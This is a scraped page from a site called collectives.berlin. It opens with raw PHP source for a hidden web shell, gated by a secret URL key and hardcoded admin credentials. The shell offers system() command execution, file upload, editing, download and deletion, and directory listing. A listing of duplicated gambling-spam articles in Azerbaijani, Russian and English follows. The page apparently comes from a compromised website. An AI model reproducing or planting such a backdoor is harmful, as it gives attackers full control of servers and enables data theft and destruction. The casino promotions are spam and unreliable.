if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 11 – collectives.berlin

Your digital paradise.

Category: public

  • İlk dəfə Pinco Casino-da oynamaq: addım-addım bələdçi

    Onlayn kazinolar, əyləncə dünyasında inqilab edərək, oyunsevərlərin istədikləri zaman və yerdə oynamağa imkan tanıyır. Bu məqalədə, ilk dəfə bir onlayn kazinoda necə qeydiyyatdan keçmək, oyunları seçmək və əyləncəli vaxt keçirmək barədə addım-addım bələdçi təqdim edəcəyik. Oyunların geniş seçimi, cazibədar bonuslar və mükafatlar ilə dolu olan bu platformalar, yeni oyunçular üçün təlqin edici bir təcrübə təqdim…

    Click or not…

  • Pinco casino-da idman mərc etmələri: necə başlayırsınız?

    Onlayn kazino və idman mərc oyunları, müasir dövrdə geniş yayılmış əyləncə vasitəsinə çevrilib. Pinco casino, Azərbaycan oyunçuları üçün yüksək keyfiyyətli xidmətlər təklif edərək, oyun təcrübəsini maksimum dərəcədə artırır. Bu məqalədə, Pinco app casino-da necə başlayacağınızı və nələrə diqqət etməli olduğunuzu araşdıracağıq. Onlayn kazino qeydiyyat prosesi yeni oyunçular üçün Pinco casino-da qeydiyyat prosesi, yeni oyunçular üçün…

    Click or not…

  • Pin Up casino: официальный обзор с безопасным доступом и актуальными бонусами

    Сегодня азартные игры становятся все более популярными, и онлайн-казино привлекают игроков своим удобством и разнообразием. Одним из таких казино является Пин Ап казино официальный сайт играть , предлагающее широкий выбор игр и заманчивые бонусы. В этом обзоре мы рассмотрим ключевые аспекты, которые помогут игрокам сделать осознанный выбор при регистрации и игре в этом казино. Основы,…

    Click or not…

  • Pin Up casino: обзор мобильного приложения и лучшие бонусы для игроков

    Данный обзор посвящен Пин Ап казино, которое с каждым годом привлекает все больше игроков благодаря своим уникальным предложениям и удобству использования мобильного приложения. Мы рассмотрим, как оценить казино без догадок, а также узнаем о лучших бонусах, доступных для игроков в 2026 году, включая казино Пинап , которые предлагают непревзойденный опыт, позволяя наслаждаться играми в любом…

    Click or not…

  • Pin Up casino: обзор мобильного приложения и лучшие бонусы для игроков

    Данный обзор посвящен Пин Ап казино, которое с каждым годом привлекает все больше игроков благодаря своим уникальным предложениям и удобству использования мобильного приложения. Мы рассмотрим, как оценить казино без догадок, а также узнаем о лучших бонусах, доступных для игроков в 2026 году, включая казино Пинап , которые предлагают непревзойденный опыт, позволяя наслаждаться играми в любом…

    Click or not…

  • Pin Up casino: обзор мобильного приложения и лучшие бонусы для игроков

    Данный обзор посвящен Пин Ап казино, которое с каждым годом привлекает все больше игроков благодаря своим уникальным предложениям и удобству использования мобильного приложения. Мы рассмотрим, как оценить казино без догадок, а также узнаем о лучших бонусах, доступных для игроков в 2026 году, включая казино Пинап , которые предлагают непревзойденный опыт, позволяя наслаждаться играми в любом…

    Click or not…

  • Pinup казино: лучшие игры и функции для увлекательного игрового опыта

    В мире азартных игр Пин Ап казино выделяется своими уникальными предложениями и захватывающим игровым опытом. Каждый пользователь может найти здесь что-то интересное, будь то классические слоты, настольные игры или Пинап вход в живое казино. Эта статья поможет вам узнать о лучших играх и функциях, которые делают Пин Ап казино таким привлекательным. Что важно знать перед…

    Click or not…

  • Pinup казино: лучшие игры и функции для увлекательного игрового опыта

    В мире азартных игр Пин Ап казино выделяется своими уникальными предложениями и захватывающим игровым опытом. Каждый пользователь может найти здесь что-то интересное, будь то классические слоты, настольные игры или Пинап вход в живое казино. Эта статья поможет вам узнать о лучших играх и функциях, которые делают Пин Ап казино таким привлекательным. Что важно знать перед…

    Click or not…

  • Step into the world of Instant Withdrawal Casino Canada: A beginner’s guide to fast

    In the thrilling realm of online gambling, Instant Withdrawal Casinos in Canada have emerged as a game-changer for players aiming for speedy access to their winnings, including options like fast payout casino that deliver quick cashouts. This guide is designed for beginners who want to navigate this exciting landscape, making informed decisions on where to…

    Click or not…

  • Step into the world of Instant Withdrawal Casino Canada: A beginner’s guide to fast

    In the thrilling realm of online gambling, Instant Withdrawal Casinos in Canada have emerged as a game-changer for players aiming for speedy access to their winnings, including options like fast payout casino that deliver quick cashouts. This guide is designed for beginners who want to navigate this exciting landscape, making informed decisions on where to…

    Click or not…